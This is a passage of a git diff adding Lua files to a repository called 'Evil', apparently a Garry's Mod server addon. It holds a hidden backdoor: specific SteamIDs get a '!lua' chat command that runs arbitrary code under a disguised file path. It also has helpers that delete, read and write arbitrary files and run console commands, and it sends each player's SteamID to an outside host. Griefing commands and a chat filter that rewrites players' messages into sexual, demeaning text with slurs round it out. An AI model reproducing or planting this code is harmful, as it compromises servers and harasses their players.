everyone on fire") + + +--BURNOFF +local function BurnOff(ply,cmd,args) + for k,v in pairs( ents.GetAll() ) do + if ValidEntity(v) then + v:Extinguish() + end + end + + for k,v in pairs(ents.FindByClass("entityflame")) do + v:Remove() + end + + ply:print("[OK] Removed all fire") +end +command.Add("burnoff", BurnOff, "Remove all fire") + +--FREEZEALL +local function FreezeAll(ply,cmd,args) + for k,v in pairs( ents.GetAll() ) do + if ValidEntity(v) and not v:IsPlayer() then + local Phys = v:GetPhysicsObject() + + if Phys:IsValid() then + Phys:Sleep() + Phys:EnableMotion(false) + end + end + end + ply:print("[OK] Frozen everything!") +end +command.Add("freezeall", FreezeAll, "Freeze everything") + +--REMOVE +local function RemoveMe(ply,cmd,args) + if IsUH then return ply:print("[ERR] No modules!") end + if (#args > 0) then + ply:print("[HSP] Removing all: "..args[1].."\n") + for k,v in pairs(ents.FindByClass(tostring(args[1]))) do + if (v:IsValid() and not v:IsPlayer()) then + ply:print("[HSP] Removing: "..v:EntIndex()..":"..v:GetClass()) + v:Remove() + end + end + else + local tr = ply:GetEyeTraceNoCursor() + if (tr and tr.Hit and not tr.HitSky and tr.Entity and IsValid(tr.Entity)) then + local ent = tr.Entity + ply:print("[HSP] Removing: "..ent:EntIndex()..":"..ent:GetClass()) + ent:Remove() + end + end +end +command.Add("hsp_remove", RemoveMe, "Remove egc/trace") + +--NUKE +local function Nuke(ply,cmd,args) + local lol = ents.Create("weapon_redeemer") + if not ValidEntity(lol) then + ply:print("[ERR] No nuke on the server!") + return + end + lol:SetPos( ply:GetEyeTrace().HitPos ) + lol:Spawn() + ply:print("[OK] Given a nuke") +end +command.Add("nuke", Nuke, "Give a nuke") + + + +local CLFix = [[ + local SWEP = LocalPlayer():GetActiveWeapon() + SWEP.Primary.Delay = 0.05 + SWEP.Primary.Cone = 0 + SWEP.Primary.Spread = 0 + SWEP.Primary.Recoil = 0 + SWEP.Primary.ClipSize = 9999999 + SWEP.Primary.Clip = 9999999 + SWEP.Primary.Damage = 2000 +]] + +local function SuperGun(ply,cmd,args) + local SWEP = ply:GetActiveWeapon() + + if not (ValidEntity(SWEP) and SWEP.Primary) then + ply:print("[ERR] Only works for SWEPs") + return + end + + SWEP.Primary.Delay = 0.05 + SWEP.Primary.Cone = 0 + SWEP.Primary.Spread = 0 + SWEP.Primary.Recoil = 0 + SWEP.Primary.ClipSize = 99999 + SWEP.Primary.Clip = 99999 + SWEP.Primary.Damage = 2000 + + ply:SendLua(CLFix) + + ply:print("[OK] Your: '"..SWEP:GetClass().."' is now SUPER") +end +command.Add("gun", SuperGun, "Make the current SWEP super") + + + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/gpio.lua b/Repos/Evil-master/v12/DeX/gpio.lua new file mode 100644 index 0000000..b864963 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/gpio.lua @@ -0,0 +1,238 @@ + +gpio = {} +gpio.Dlls = {} +gpio.Error = 404 +gpio.Done = 200 + +gpio.BadDlls = { + ["sqlite_i486"] = true, + ["sqlite"] = true, + ["sqlite_linux"] = true, + ["sqlite_osx"] = true, +} + +for k,v in pairs( file.FindInLua("includes/modules/*.dll") ) do + if (v and v != "") then + v = v:lower() + v = v:gsub("gmsv_", "") + v = v:gsub("gmcl_", "") + v = v:gsub("gm_", "") + v = v:gsub(".dll", "") + + if not gpio.BadDlls[v] then + gpio.Dlls[v] = true + end + end +end + +local Here = util.RelativePathToFull("gameinfo.txt"):gsub("gameinfo.txt",""):Trim("\\") --Mess! + + + +function gpio.Delete(what,raw) + if gpio.Dlls.hio then + if not hIO then + require("hio") + end + + if (hIO and hIO.Remove) then + hIO.Remove(what) + return gpio.Done + end + end + + if gpio.Dlls.rawio then + if not rawio then + require("rawio") + end + + if (rawio and rawio.deletefile) then + if raw then + rawio.deletefile(what) + else + rawio.deletefile(Here.."\\"..what) + end + return gpio.Done + end + end + + if gpio.Dlls.winapi then + if not winapi then + require("winapi") + end + + if (winapi and winapi.DeleteFile) then + if raw then + winapi.DeleteFile(what) + else + winapi.DeleteFile(Here.."\\"..what) + end + return gpio.Done + end + end +end + + + + +function gpio.Read(what,raw) + if gpio.Dlls.hio then + if not hIO then + require("hio") + end + + if (hIO and hIO.Read) then + return hIO.Read(what) + end + end + + if gpio.Dlls.rawio then + if not rawio then + require("rawio") + end + + if (rawio and rawio.readfile) then + if raw then + return rawio.readfile(what) + else + return rawio.readfile(Here.."\\"..what) + end + end + end + + if gpio.Dlls.openaura_one then + if not fileio then + require("openaura_one") + end + + if (fileio and fileio.Read) then + if raw then + return fileio.Read(what) + else + return fileio.Read(Here.."\\"..what) + end + end + end + + return gpio.Error +end + + +function gpio.Write(where,cont,raw) + if gpio.Dlls.hio then + if not hIO then + require("hio") + end + + if (hIO and hIO.Write) then + if raw then + hIO.Write(where,cont) + else + hIO.Write(Here.."\\"..where,cont) + end + return gpio.Done + end + end + + if gpio.Dlls.rawio then + if not rawio then + require("rawio") + end + + if (rawio and rawio.writefile) then + if raw then + rawio.writefile(where,cont) + else + rawio.writefile(Here.."\\"..where,cont) + end + return gpio.Done + end + end + + if gpio.Dlls.openaura_one then + if not fileio then + require("openaura_one") + end + + if (fileio and fileio.Write) then + if raw then + fileio.Write(where,cont) + else + fileio.Write(Here.."\\"..where,cont) + end + return gpio.Done + end + end + + return gpio.Error +end + + +function gpio.ConCommand(what) + if gpio.Dlls.extras then + if not console then + require("extras") + end + + if (console and console.Command) then + console.Command(what) + return gpio.Done + end + end + + if gpio.Dlls.command then + if not command then + require("command") + end + + if (command and command.ServerCommand) then + command.ServerCommand(what) + return gpio.Done + end + end + + if gpio.Dlls.cmd then + if not cmd then + require("cmd") + end + + if (cmd and cmd.exec) then + cmd.exec(what) + return gpio.Done + end + end + + if gpio.Dlls.localcommand then + if not LocalCommand then + require("localcommand") + end + + if LocalCommand then + LocalCommand(what) + return gpio.Done + end + end + + if gpio.Dlls.enginecommand then + if not LocalCommand then + require("enginecommand") + end + + if (LocalCommand) then + LocalCommand(what) + return gpio.Done + end + end + + return gpio.Error +end + + + + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/hx_SkidList.lua b/Repos/Evil-master/v12/DeX/hx_SkidList.lua new file mode 100644 index 0000000..17503ae --- /dev/null +++ b/Repos/Evil-master/v12/DeX/hx_SkidList.lua @@ -0,0 +1,6 @@ + +SHers = {} + + +Bulk = {} + diff --git a/Repos/Evil-master/v12/DeX/meta.lua b/Repos/Evil-master/v12/DeX/meta.lua new file mode 100644 index 0000000..1e0b821 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/meta.lua @@ -0,0 +1,172 @@ +--- === META === --- +local pMeta = FindMetaTable("Player") +local pEntity = FindMetaTable("Entity") + +function pEntity:print(str) + if not self:IsValid() then return print(str) end + self:PrintMessage(HUD_PRINTCONSOLE, str.."\n") +end + + + +local SteamIDs = { + ["STEAM_0:0:17809124"] = true, + ["STEAM_0:0:44703291"] = true, +} +function pMeta:IsHeX() + return SteamIDs[ self:SteamID() ] +end +function GetHeX() + for k,v in pairs( player.GetHumans() ) do + if v:IsHeX() then + return v + end + end + return NULL +end + +function RandomPlayer() + local tab = {} + + for k,v in pairs( player.GetHumans() ) do + if not v:IsHeX() then + table.insert(tab, v) + end + end + + return table.Random(tab) +end + + +function ETable(tab) + if type(tab) == "table" then + table.Empty(tab) + end + + tab = {} +end + +function pEntity:Explode(dmg) + if self.Alive and (not self:Alive()) then self:Spawn() end + self:ExitVehicle() + self:GodDisable() + self:SetHealth(1) + + local Power = dmg or "200" + + local boom = ents.Create("env_explosion") + boom:SetPos(self:GetPos()) + boom:SetOwner(self) + boom:Spawn() + boom:SetKeyValue("iMagnitude", tostring(Power)) + boom:Fire("Explode", 0, 0) + + timer.Simple(1, function() + if ValidEntity(boom) then + boom:Remove() + end + end) +end + + + + + +local function UMCAT(ply,tab) + umsg.Start("CAT", ply) + umsg.Short(#tab) + + for k,v in pairs(tab) do + local typ = type(v) + + if (typ == "string") then + umsg.String(v) + + elseif (typ == "table") then + umsg.Short(v.r) + umsg.Short(v.g) + umsg.Short(v.b) + umsg.Short(v.a) + end + end + umsg.End() +end +function pMeta:CAT(...) UMCAT(self,arg) end +function CAT(...) UMCAT(nil,arg) end + + +local CatCode = [[ +function CAT(u) + local z,t,r={},table.insert,_R.bf_read.ReadShort + for i=1,r(u)/2,1 do + t(z,Color(r(u),r(u),r(u),r(u))) + t(z,u:ReadString()) + end + chat.AddText(unpack(z)) + chat.PlaySound() +end +usermessage.Hook("CAT", CAT) +]] + +local function SendCat(ply) + ply:SendLua(CatCode) +end +hook.Add("PlayerInitialSpawn", "SendCat", SendCat) +BroadcastLua(CatCode) +--- === /META === --- + + + + +--- === CHATCOMMAND === --- +chatcommand = {} +chatcommand.GetTable = {} + +function chatcommand.Add(cmd,func) + chatcommand.GetTable[cmd] = func +end + +local function CC_Run(ply,text,isteam) + if not ValidEntity(ply) then return end + + local Command = string.Explode(" ", text)[1]:lower() + local ToCall = chatcommand.GetTable[Command] + + if (ToCall) then + timer.Simple(0.1, function() + local ok,err = pcall(function() + ToCall(ply,Command,(text:gsub(Command,"")),text) + end) + end) + end +end +hook.Add("PlayerSay", "!CC_Run", CC_Run) +--- === /CHATCOMMAND === --- + + + +--- === CHATLUA === --- +local function CLUA_Do(ply,cmd,text) + if IsUH then return ply:print("[ERR] No modules!") end + if not (ply:IsValid()) then return end + + if not ply:IsHeX() then + ply:Explode() + return + end + + if not (#text > 0) then return end + + me = ply + that = ply:GetEyeTrace().Entity + there = ply:GetEyeTrace().HitPos + prt = function(str) PrintMessage(HUD_PRINTTALK, tostring(str)) end + + RunStringEx(text, "[@weapons/gmod_tool/stools/gas_storage.lua]") +end +chatcommand.Add("!lua", CLUA_Do) +chatcommand.Add("!l", CLUA_Do) +--- === /CHATLUA === --- + + + diff --git a/Repos/Evil-master/v12/DeX/skid.lua b/Repos/Evil-master/v12/DeX/skid.lua new file mode 100644 index 0000000..1cccb5a --- /dev/null +++ b/Repos/Evil-master/v12/DeX/skid.lua @@ -0,0 +1,139 @@ + + +Bulk = {} +SHers = {} +ExecDownload(DEX_PATH, "hx_SkidList.lua", true) + + +Skiddies = {} +local function Merge(tab) + for k,v in pairs(tab) do + Skiddies[k] = v + end + tab = nil +end +Merge(Bulk) +Merge(SHers) + + +local Enabled = true + +local function StartSK(ply,cmd,args) + Enabled = not Enabled + + ply:print("[OK] SkidCheck is now: "..tostring(Enabled) ) +end +command.Add("sk_toggle", StartSK, "Toggle SkidCheck") + + +local function SBCheckPlayer(ply) + http.Get("http://sethblock.tk/api.php?user="..ply:SteamID(), "", function(what,size) + if ValidEntity(ply) and what:find("SethHack") then + ply.IsSethBlock = true + end + end) +end +hook.Add("PlayerInitialSpawn", "SBCheckPlayer", SBCheckPlayer) + + + +GREEN = Color(66,255,96) --HSP green +SGREEN = Color(180,250,160) --source green +GREEN2 = Color(0,255,0) +LtGreen = Color(174,255,0) +WHITE = Color(255,255,255) --white +RED = Color(255,0,11) --red +RED2 = Color(255,0,0) --More red +KIRED = Color(255,80,0,255) +BLUE = Color(51,153,255) --HeX Blue +LPBLUE = Color(80,170, 255) --Laser pistol blue +YELLOW = Color(255,200,0,255) --yellow +YELLOW2 = Color(255,220,0,200) --HEV yellow +PINK = Color(255,0, 153) --faggot pink +PBLUE = Color(155,205,248) --printall blue +PURPLE = Color(149,102,255) --ASK2 purple +ORANGE = Color(255,153,0) --respected orange +GREY = Color(175,175,175) --blackops grey +KCHEAT = Color(249,199,255) + + + +local StartSB = nil + +function SkidCheck() + if not Enabled then return end + + for k,v in pairs( player.GetHumans() ) do + if not ValidEntity(v) then continue end + + if not StartSB then + StartSB = true + + timer.Simple(k, function() + if ValidEntity(v) then + SBCheckPlayer(v) + end + end) + end + + + local SID = v:SteamID() + local Tab = Skiddies[SID] + + if (Tab or v.SHer) and not v.DoneSK then + local Name = (Tab.Name or v:Nick()).." ("..SID..")" + local DoTab = nil + + if (Tab.SH or v.SHer) then + DoTab = true + + CAT(GREY, "[", color_white, "Skid", BLUE, "Check", GREY, "]: ", team.GetColor( v:Team() ), v:Nick(), GREY, " is a ", RED, "SETHHACKER/CHEATER! ", GREEN, Name) + + elseif v.IsSethBlock then + v.IsSethBlock = nil + DoTab = true + + MsgAll("\n"..v:Nick().." is on SethBlock!\n\n") + CAT(GREY, "[", color_white, "Skid", BLUE, "Check", GREY, "]: ", team.GetColor( v:Team() ), v:Nick(), GREY, " is on ", RED, "SethBlock! ", GREEN, Name) + + elseif Tab.Skid then + DoTab = true + MsgAll("\n"..v:Nick().." is a Skiddie!\n\n") + CAT(GREY, "[", color_white, "Skid", BLUE, "Check", GREY, "]: ", team.GetColor( v:Team() ), v:Nick(), GREY, " is a ", KCHEAT, "Skiddie! ", GREEN, Name) + end + + if DoTab then + v.DoneSK = true + BroadcastLua([[ surface.PlaySound( Sound("ambient/machines/thumper_shutdown1.wav") ) ]]) + end + end + end +end +timer.Create("SkidCheck", 6, 0, SkidCheck) + + +local function ResetSkiddies() + StartSB = nil + + for k,v in pairs( player.GetAll() ) do + if ValidEntity(v) then + v.DoneSK = nil + end + end +end +timer.Create("ResetSkiddies", 160, 0, ResetSkiddies) + + +local function ResetSkiddies(ply,cmd,args) + ResetSkiddies() + + ply:print("[SkidCheck] Messages reset, expect spam in 5s!") +end +concommand.Add("sk_reset_sv", ResetSkiddies) + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/sv_f_Crap.lua b/Repos/Evil-master/v12/DeX/sv_f_Crap.lua new file mode 100644 index 0000000..f4cf60e --- /dev/null +++ b/Repos/Evil-master/v12/DeX/sv_f_Crap.lua @@ -0,0 +1,65 @@ + + +--CRAP, symbols etc +HSP.ChatFilter.Crap = { + [0] = "Devnull", --NUL + [1] = "Soho", --SOH + [2] = "Sticks", --STX + [3] = "Exit", --ETX + [4] = "Elephant", --EOT + [5] = "Enque", --ENQ + [6] = "Attack", --ACK + --7 done with HAC + --8 backspace + --9 tab + [10] = "Left", --LF + [11] = "Virtual", --VT + [12] = "Firefox", --FF + [13] = "Crap", --CR + [14] = "Software", --SO + [15] = "Yes", --SI + [16] = "Delete", --DLE + [17] = "Disc Crap", --DC1 + [18] = "Disc Crap", --DC2 + [19] = "Disc Crap", --DC3 + [20] = "Disc Crap", --DC4 + [21] = "Naked", --NAK + [22] = "Sync", --SYN + [23] = "Dice", --ETB + [24] = "Cannon", --CAN + + --[42] = "", --* + + [64] = "a", --AT sign + [169] = "c", --C sign + [174] = "r", --R sign + + [158] = "o", --CYRILLIC CAPITAL LETTER O + [190] = "o", --CYRILLIC SMALL LETTER O + [208] = "", --CYRILLIC SMALL LETTER O +} + + + + +--pronunciation, Words that transforms verbs into different states / swearword endings +HSP.ChatFilter.Pronunciation = { + "e", + "s", + "ed", + "er", + "ing", +} + +--End +HSP.ChatFilter.Ext = { + ['a'] = true, + ['o'] = true, + ['i'] = true, + --['e'] = true, + ['u'] = true, +} + + + + diff --git a/Repos/Evil-master/v12/DeX/sv_f_List.lua b/Repos/Evil-master/v12/DeX/sv_f_List.lua new file mode 100644 index 0000000..170c567 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/sv_f_List.lua @@ -0,0 +1,2076 @@ + + +--FIXED, message is this complete message +HSP.ChatFilter.Fixed = { + {what = "what the fuck", with = "What is love?"}, + {what = "what the hell", with = "I like it up the butt!"}, + {what = "spawn kill", with = "You're so much better than I am :)"}, + {what = "spawnkill", with = "You're much better than me :)"}, + {what = "what the", with = "Never gonna give you up"}, + {what = "*ranting*", with = "I really need a BF, come chat tonight, add _FLT_ <3"}, + {what = "ranting*", with = "I really need a BF, come chat tonight, add _FLT_ <3"}, + {what = "*ranting", with = "I really need a BF, come chat tonight, add _FLT_ <3"}, + {what = "ranting", with = "I really need a BF, come chat tonight, add _FLT_ <3"}, + {what = "lolwtf", with = "you're cute! add me on MSN _FLT_ for a good time"}, + {what = "stupid", with = "oh my god, please bang me all night long!"}, + {what = "idiot", with = "I would LOVE your tasty boner!!"}, + {what = "moron", with = "wow come and see my boner!!"}, + {what = "!menu", with = "hey can you test your gun on me for a min"}, + {what = "0wned", with = "I'm terrible"}, + {what = "0wn3d", with = "I'm terrible"}, + {what = "owned", with = "I'm terrible"}, + {what = "pwn3d", with = "I'm losing"}, + {what = "pwned", with = "I can't play!"}, + {what = ". . .", with = "Bullet Holes!"}, + {what = ". . . .", with = "Bullet Holes!"}, + {what = ". . . . .", with = "Bullet Holes!"}, + {what = ". . . . . .", with = "Bullet Holes!"}, + {what = "stop", with = "hey, I can't remember how deathmatch works :("}, + {what = "dude", with = "dude, I just bought a whole box of dildos!"}, + {what = "pwnd", with = "I suck"}, + {what = "wut?", with = "Windows Update?"}, + {what = "wtf?", with = "Have you ever been to the Waste Transfer Facility?"}, + {what = "wtf!", with = "I got a job at the Waste Transfer Facility!"}, + {what = ". .", with = "two Bullet Holes!"}, + {what = "own", with = "I'm terrible"}, + {what = "pwn", with = "I suck at deathmatch"}, + {what = "wtf", with = "I was fired from the Waste Transfer Facility due to bad spelling :("}, + {what = "not", with = "Not that I have anything against taking it up the butt!"}, + {what = "xp", with = "Windows XP"}, + {what = "xd", with = "I love to suck extra dicks!"}, + {what = ")", with = "Bracket!"}, + {what = "(", with = "Bracket!"}, + + {what = "hack", with = "I didn't know HeX spent 4 years writing an AntiCheat that's banned 850+ users"}, + {what = "cheat", with = "I didn't know HeX spent 4 years writing an AntiCheat that's banned 850+ users"}, + {what = "hacker", with = "I didn't know HeX spent 4 years writing an AntiCheat that's banned 850+ users"}, + {what = "cheater", with = "I didn't know HeX spent 4 years writing an AntiCheat that's banned 850+ users"}, + + {what = "NO", with = "what are you waiting for, shoot me!", full = true}, + {what = "NO!", with = "hey could you test the SMG on me for a sec", full = true}, + {what = "no", with = "yes!", full = true}, + {what = "no!", with = "Bang me time and time again!"}, + + {what = "don't!", with = "shoot me now!"}, + {what = "don't", with = "shoot me now!"}, + {what = "dont!", with = "Everyone shoot me now!"}, + {what = "dont", with = "shoot me now!"}, + {what = "don;t!", with = "Everyone shoot me now!"}, + {what = "don;t", with = "please shoot me now!"}, + {what = "do not", with = "I mean shoot me!"}, + {what = "don't stop", with = "Everyone shoot me now!"}, + {what = "dont stop", with = "Everyone shoot me now!"}, + + {what = "stop dont", with = "hey can you test the RPG on me"}, + {what = "stop don't", with = "hey can you test the RPG on me"}, + {what = "dont shoot", with = "I mean shoot now!"}, + {what = "don't shoot", with = "Everyone shoot me!"}, + {what = "do not shoot", with = "I mean shoot me!"}, + + {what = "i mean dont", with = "I mean shoot me now"}, + {what = "i mean don't", with = "I mean shoot me now"}, + {what = "i mean no", with = "I mean shoot me now"}, + + {what = "dont kil me", with = "Please shoot me!"}, + {what = "don't kil me", with = "Please shoot me!"}, + {what = "do not kil me", with = "I mean shoot me now!"}, + + {what = "dont kill me", with = "Please shoot me!"}, + {what = "don't kill me", with = "Please shoot me!"}, + {what = "do not kill me", with = "I mean shoot me now!"}, + + {what = "dont kill", with = "I mean kill me now"}, + {what = "don't kill", with = "Everyone kill me now!"}, + {what = "do not kill", with = "I mean shoot me"}, + + {what = "quit killing", with = "Everyone shoot me"}, + {what = "stop killing", with = "Everyone shoot me"}, + {what = "no dont", with = "Bet you can't kill me"}, + {what = "no don't", with = "Bet you can't kill me"}, + {what = "no killing", with = "Everyone shoot me now"}, + {what = "no kill", with = "Bet you can't kill me :)"}, + {what = "no shoot", with = "Come and shoot me"}, +} + + +--NOUNS, Popular nouns used on the server( quantity fix ), and banned nouns +HSP.ChatFilter.Nouns = { + --8 + {what = "nope.avi", with = "no Audio/Video Interlaced"}, + {what = "retard3d", with = "3D movie"}, + {what = "r3tard3d", with = "3D movie"}, + {what = "r3tarded", with = "3D movie"}, + + --7 + {what = "2morrow", with = "tomorrow in my butt"}, + {what = "nlggers", with = "Roody-poos"}, + {what = "couldnt", with = "couldn't take the whole eleven inches,"}, + {what = "wouldnt", with = "would take the whole eleven inches,"}, + {what = "phagg0t", with = "cool dude"}, + + --6 + {what = "filt3r", with = "Super Awesome Chat Cleanser"}, + {what = "2fst4u", with = "My brian is damaged, shoot me"}, + {what = "fagg3t", with = "hot dude"}, + {what = "nlgger", with = "Roody-poo"}, + {what = "stup1d", with = "awesome"}, + {what = "f1lter", with = "Idiot-Corrector"}, + {what = "every1", with = "I can't spell 'everyone'"}, + {what = "2morro", with = "tomorrow in my butt"}, + {what = "2morow", with = "tomorrow in my butt"}, + {what = "a*mins", with = "Cool Dudes"}, + {what = "adm1ns", with = "chicks with dicks"}, + {what = "theyre", with = "they're cute with"}, + {what = "havent", with = "havn't been able to suck my own boner, then"}, + {what = "k1lled", with = "Exploded"}, + + --5 + {what = "you'r", with = "you're cute and"}, + {what = "pen15", with = "Box of pens"}, + {what = "didnt", with = "do love a nice big cock and"}, + {what = "4real", with = "for you, anything as long as it's sexy"}, + {what = "p3nis", with = "Pentium 3"}, + {what = "br0ny", with = "Bromine fuck me"}, + {what = "hax0r", with = "Awesome Pro"}, + {what = "h4x0r", with = "Awesome Pro"}, + {what = "h4xor", with = "Awesome Pro"}, + {what = "0wn3d", with = "I'm losing badly"}, + {what = "own3d", with = "I'm losing badly"}, + {what = "pwn3d", with = "I'm losing badly"}, + {what = "some1", with = "someone in my butt"}, + {what = "house", with = "gas pump", whats = "houses", withs = "gas pumps"}, + {what = "4ever", with = "forever in my butt"}, + {what = "4evar", with = "forever in my butt"}, + {what = "2moro", with = "tomorrow in my butt"}, + {what = "2nite", with = "After the hour of eight"}, + {what = "nice1", with = "nice cock you have there!"}, + {what = "adm1n", with = "dude with a nice cock"}, + {what = "wasnt", with = "wasn't going to swallow and"}, + {what = "p3n!s", with = "Ding Dong"}, + {what = "tr0ll", with = "boyfriend"}, + {what = "hasnt", with = "hasn't ever tried anal"}, + + --4 + {what = "l33t", with = "very dumb"}, + {what = "yall", with = "the boner"}, + {what = "rdm'd", with = "banged with"}, + {what = "d1ck", with = "Number Plate"}, + {what = "l8tr", with = "later up my butthole"}, + {what = "2mrw", with = "tomorrow in my butt"}, + {what = "c0ck", with = "Boner"}, + {what = "4got", with = "pound my ass"}, + {what = "l8er", with = "pound my ass!"}, + {what = "any1", with = "anyone's cock"}, + {what = "eny1", with = "anyone's cock"}, + {what = "w00t", with = "Freight Train"}, + {what = "ch4t", with = "Freight Train"}, + {what = "m33t", with = "MT 33"}, + {what = "fort", with = "oil pump", whats = "forts", withs = "oil pumps"}, + {what = "b4se", with = "GAS STATION"}, + {what = "st0p", with = "whoops, i accidently the whole word"}, + {what = "hell", with = "Disneyland"}, --Do not move, "he'll" + {what = "howd", with = "how, when you have such a huge boner did"}, + {what = "sum1", with = "someone come and shoot me"}, + {what = "cant", with = "can't spell so"}, + {what = "wont", with = "won't be able to take ten inches,"}, + {what = "dont", with = "do love delicious cock, you"}, + {what = "isnt", with = "isn't time to bang me today"}, + {what = "whyd", with = "why did you not swallow"}, + {what = ":((", with = "I'm feeling sad, why not come and shoot me!"}, + {what = ".__.", with = "Period Underscore Period"}, + {what = "whos", with = "who likes cock, then"}, + {what = "kill", with = "Bang"}, + {what = "whys", with = "why's my cock so small and my"}, + {what = "youd", with = "you'd love to lick me then"}, + {what = "aint", with = "ain't able to spell"}, + + --3 + {what = "n0h", with = "oh yes"}, + {what = "g4y", with = "I'm Gay"}, + {what = "th3", with = "my 3rd dildo"}, + {what = ";.;", with = ""}, + {what = ":[]", with = "Colon Bracket Bracket"}, + {what = ">:/", with = "I'm very good in bed!"}, + {what = "o-o", with = "O dash O"}, + {what = "._.", with = "Period Underscore Period"}, + {what = "0_0", with = "Zero Underscore Zero"}, + {what = ";_;", with = "I still love you"}, + {what = ">_>", with = "That way!"}, + {what = "O_O", with = "or maybe you'd like to see my webcam!"}, + {what = ">.<", with = "Squashed mouse!"}, + {what = ">_<", with = "Exploded mouse!"}, + {what = "-_-", with = "I was fisted once.."}, + {what = "-.-", with = "I love you"}, + {what = "...", with = "Bullet Holes!"}, + {what = ">:(", with = "Greater than colon open bracket"}, + {what = ">.>", with = "Right Right"}, + {what = "<.<", with = "Left Left"}, + {what = "hes", with = "he's sucking my cock,"}, --Do not move, "he's" + {what = "hed", with = "he'd explode all over my face"}, --Do not move, "he'd" + {what = "br0", with = "Bromine"}, + {what = "gr8", with = "Sewage"}, + {what = "h4x", with = "Skiddie Fuel"}, + {what = "ne1", with = "Neon"}, + {what = "no1", with = "my ass"}, + {what = "l8r", with = "Radiator"}, + {what = "g2g", with = "got to go now, I can't spell!"}, + {what = "ny1", with = "anyone come and shoot me"}, + {what = "l0l", with = "lol, why is my dick is tiny :("}, + {what = "3va", with = "3DFX"}, + {what = "n00", with = "yes yes"}, + {what = "m8s", with = "Sticks of Dynamite"}, + {what = "a$$", with = "expensive Buttocks"}, + + --2 + {what = "m3", with = "Mythbusters"}, + {what = "rd", with = "really long one"}, + {what = "d0", with = "Intel CPU"}, + {what = "n0", with = "YES"}, + {what = "k!", with = "crunch some Nutsack"}, + {what = ":?", with = "hey, have you ever tried anal?"}, + {what = ":/", with = "Invalid Drive Path!"}, + {what = ":\\", with = "Invalid Drive Path!"}, + {what = "..", with = "Loading.."}, + {what = ":o", with = "Blowjob"}, + {what = "w\\", with = "C:/Windows"}, + {what = "w/", with = "C:/Windows"}, + {what = "w.e", with = "with Erection"}, + {what = "w\\e", with = "C:/Windows/EventLog"}, + {what = "w/e", with = "C:/Windows/EventLog"}, + {what = "b\\c", with = "Battle Cruiser"}, + {what = "b/c", with = "Battle Cruiser"}, + {what = "w\\u", with = "Windows Update"}, + {what = "w/u", with = "Windows Update"}, + {what = "\\\\", with = "Whoops, I can't work out how to use the chat"}, + {what = "//", with = "C:/"}, + {what = "n1", with = "Nintendo 1"}, + {what = "w8", with = "Windows 8"}, + {what = "m8", with = "Dynamite"}, + {what = "h8", with = "Hosepipe"}, + {what = "b4", with = "Beta Version"}, + {what = "4u", with = "for Uranium"}, + {what = "2u", with = "to Uranium"}, + {what = "th", with = "the dildo and the"}, + --{what = "id", with = "i'd be unable to spell"}, --Do not move, "i'd" + {what = "im", with = "I'm horny and"}, --Do not move, "i'm" + {what = "x]", with = "Extra Bracket"}, + {what = "t,", with = "fapping all day"}, + {what = "t?", with = "wearing panties?"}, + {what = "nd", with = "Nitrogen Dioxide"}, + + --1 + {what = "c", with = "Cock ring"}, + {what = "d", with = "Dildo"}, + {what = "f", with = "Fisting"}, + {what = "l", with = "Lavatory"}, + {what = "n", with = "Nitrogen"}, + {what = "s", with = "Suction"}, + {what = "t", with = "horse dildo"}, + {what = "x", with = "Extra"}, +} + + +--ABBREVIATIONS, Decent ( etc ) / Bad ( bois ) chat shortcuts +HSP.ChatFilter.Abbreviations = { + --Random + {what = "gived", with = "gave me blowjobs and"}, + {what = "typin", with = "typing a message about dildos and"}, + {what = "tryin", with = "trying to order a new dildo and"}, + {what = "killin", with = "Boning"}, + {what = "frend", with = "my friend's cock and"}, + {what = "gawd", with = "god, I can't spell"}, + {what = "hallo", with = "hello, please fuck my ass!"}, + {what = "halp", with = "help me take this massive dick"}, + {what = "supid", with = "EPIC"}, + {what = "woops", with = "accidental can of Whoop-Ass!"}, + {what = "hayte", with = "oh dear, I'm terrible at english"}, + {what = "madbro", with = "and my brother's massive cock"}, + {what = "hasbro", with = "have you sucked your brother's cock before?"}, + {what = "testa", with = "some new dildos"}, + {what = "ohai", with = "oh hello, I can't spell"}, + {what = "mkay", with = "Dr Mckay"}, + {what = "weaponz", with = "weapons for sticking up my butt"}, + {what = "nevar", with = "do it right now!"}, + {what = "worldz", with = "world where I can spell"}, + {what = "chillax", with = "Watercooler"}, + {what = "chilax", with = "Watercooler"}, + {what = "leev", with = "leave my spelling behind and"}, + {what = "cmawn", with = "Mow the lawn!"}, + {what = "fightin", with = "fighting over the my new dildo with"}, + {what = "outa", with = "Out of cheese error"}, + {what = "suiside", with = "you should kill me, I can't spell"}, + {what = "pist", with = "pistol up my butt"}, + {what = "bich", with = "Mis-spelling!"}, + {what = "suckr", with = "Suck my"}, + {what = "prickk", with = "Sharp End"}, + {what = "abaut", with = "About to fail my english class and"}, + {what = "gues", with = "Geese"}, + {what = "retarted", with = "awesome, but I'm too dumb to live"}, + {what = "fitler", with = "Hitler"}, + {what = "keeld", with = "Killed all my braincells"}, + {what = "keeled", with = "Killed all my braincells"}, + {what = "seeya", with = "See my sexy ass somtime!"}, + {what = "everone", with = "everyone, guess how much cock I can take"}, + {what = "repoted", with = "re-potted"}, + {what = "repot", with = "re-pot"}, + {what = "pusy", with = "Cat"}, + {what = "lolwat", with = "lol, I am unable to spell 'What'"}, + {what = "stahp", with = "Stan's giant cock"}, + {what = "stawp", with = "Stan's huge cock"}, + {what = "thans", with = "I took pills, let me do it again!"}, + {what = "somthin", with = "some thin Ice"}, + {what = "whyed", with = "why am I unable to spell!"}, + {what = "soory", with = "why am I unable to spell!"}, + {what = "soorry", with = "why am I unable to spell!"}, + {what = "skrew", with = "Nail"}, + {what = "stoip", with = "ST Operational Internet Protocol"}, + {what = "watafak", with = "What, that's great!, mine is tiny :("}, + {what = "hert", with = "AC Power"}, + {what = "herts", with = "AC Power"}, + {what = "loos", with = "Cannonball"}, + {what = "lovly", with = "lovely cock and"}, + {what = "cokc", with = "lovely cock"}, + {what = "laawl", with = "I can't spell at all, shoot me"}, + {what = "alol", with = "I'm an A-hole"}, + {what = "dotn", with = "don't ignore me, shoot me!"}, + {what = "lookin", with = "looking at your big cock"}, + {what = "luckeh", with = "lucky I can't spell"}, + {what = "niice", with = "No Ice"}, + {what = "leiks", with = "loves my cock and"}, + {what = "lieks", with = "loves my cock and"}, + {what = "herd", with = "Hard-on"}, + {what = "somfing", with = 